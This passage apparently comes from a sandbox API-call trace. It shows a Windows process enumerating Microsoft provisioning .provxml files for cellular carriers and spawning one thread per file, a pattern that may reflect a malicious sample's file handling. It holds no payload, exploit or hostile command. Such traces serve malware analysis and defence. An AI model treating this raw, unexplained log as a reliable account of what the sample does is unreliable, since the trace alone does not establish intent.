Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.686] wcscat (in: _Dest=0x33f9280, _Source="201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml" [0088.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f9280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x948 [0088.687] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9077f3c5, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9077f3c5, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9077f3c5, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml", cAlternateFileName="202__C~1.PRO")) returned 1 [0088.687] wcscmp (_String1="202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.687] wcscmp (_String1="202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.687] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x138) returned 0x34220c8 [0088.687] wcscpy (in: _Dest=0x34220c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.687] wcscat (in: _Dest=0x34220c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.687] wcscat (in: _Dest=0x34220c8, _Source="202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml" [0088.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34220c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9fc [0088.688] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907a5631, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907a5631, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907a5631, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2be, dwReserved0=0x0, dwReserved1=0x0, cFileName="203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="203__C~1.PRO")) returned 1 [0088.688] wcscmp (_String1="203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.688] wcscmp (_String1="203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.688] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x138) returned 0x3421688 [0088.688] wcscpy (in: _Dest=0x3421688, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.688] wcscat (in: _Dest=0x3421688, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.688] wcscat (in: _Dest=0x3421688, _Source="203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml" [0088.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3421688, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa2c [0088.689] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907a5631, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907a5631, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907a5631, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="204__C~1.PRO")) returned 1 [0088.689] wcscmp (_String1="204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0088.689] wcscmp (_String1="204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0088.689] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x146) returned 0x33f8918 [0088.689] wcscpy (in: _Dest=0x33f8918, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.689] wcscat (in: _Dest=0x33f8918, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.689] wcscat (in: _Dest=0x33f8918, _Source="204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0088.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f8918, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a0 [0088.690] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907a5631, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907a5631, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907a5631, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x283, dwReserved0=0x0, dwReserved1=0x0, cFileName="205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="205__C~1.PRO")) returned 1 [0088.690] wcscmp (_String1="205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.690] wcscmp (_String1="205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.690] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13a) returned 0x34217d0 [0088.690] wcscpy (in: _Dest=0x34217d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.690] wcscat (in: _Dest=0x34217d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.690] wcscat (in: _Dest=0x34217d0, _Source="205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml" [0088.690] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34217d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa04 [0088.691] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907a5631, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907a5631, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907a5631, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35f, dwReserved0=0x0, dwReserved1=0x0, cFileName="206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="206__C~1.PRO")) returned 1 [0088.691] wcscmp (_String1="206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.691] wcscmp (_String1="206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.691] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x156) returned 0x55db438 [0088.691] wcscpy (in: _Dest=0x55db438, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.691] wcscat (in: _Dest=0x55db438, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.691] wcscat (in: _Dest=0x55db438, _Source="206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml" [0088.691] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x55db438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa28 [0088.692] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907a5631, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907a5631, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907a5631, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="207__C~1.PRO")) returned 1 [0088.692] wcscmp (_String1="207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0088.692] wcscmp (_String1="207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0088.692] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x128) returned 0x33e5688 [0088.692] wcscpy (in: _Dest=0x33e5688, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.692] wcscat (in: _Dest=0x33e5688, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.692] wcscat (in: _Dest=0x33e5688, _Source="207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0088.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e5688, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a4 [0088.693] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907cb89c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907cb89c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907cb89c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml", cAlternateFileName="208__C~1.PRO")) returned 1 [0088.697] wcscmp (_String1="208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.697] wcscmp (_String1="208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.697] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x142) returned 0x33f9530 [0088.697] wcscpy (in: _Dest=0x33f9530, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.697] wcscat (in: _Dest=0x33f9530, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.697] wcscat (in: _Dest=0x33f9530, _Source="208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml" [0088.697] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f9530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8 [0088.698] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907cb89c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907cb89c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907cb89c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml", cAlternateFileName="209__C~1.PRO")) returned 1 [0088.698] wcscmp (_String1="209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.698] wcscmp (_String1="209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.698] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x140) returned 0x3421cf0 [0088.698] wcscpy (in: _Dest=0x3421cf0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.698] wcscat (in: _Dest=0x3421cf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.698] wcscat (in: _Dest=0x3421cf0, _Source="209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml" [0088.698] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3421cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x92c [0088.700] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90163088, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90163088, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90163088, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="20__CO~1.PRO")) returned 1 [0088.700] wcscmp (_String1="20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.700] wcscmp (_String1="20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.700] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x146) returned 0x33f8fd0 [0088.700] wcscpy (in: _Dest=0x33f8fd0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.700] wcscat (in: _Dest=0x33f8fd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.700] wcscat (in: _Dest=0x33f8fd0, _Source="20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml" [0088.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f8fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x960 [0088.701] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907cb89c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907cb89c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907cb89c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml", cAlternateFileName="210__C~1.PRO")) returned 1 [0088.701] wcscmp (_String1="210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.701] wcscmp (_String1="210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.701] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x146) returned 0x33f8a70 [0088.701] wcscpy (in: _Dest=0x33f8a70, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.701] wcscat (in: _Dest=0x33f8a70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.701] wcscat (in: _Dest=0x33f8a70, _Source="210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml" [0088.701] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f8a70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8 [0088.701] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907cb89c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907cb89c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907cb89c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="211__C~1.PRO")) returned 1 [0088.701] wcscmp (_String1="211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0088.701] wcscmp (_String1="211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0088.702] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x146) returned 0x33f8d20 [0088.702] wcscpy (in: _Dest=0x33f8d20, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.702] wcscat (in: _Dest=0x33f8d20, _Source="\\" | out: _Dest="C:\\Users\\All 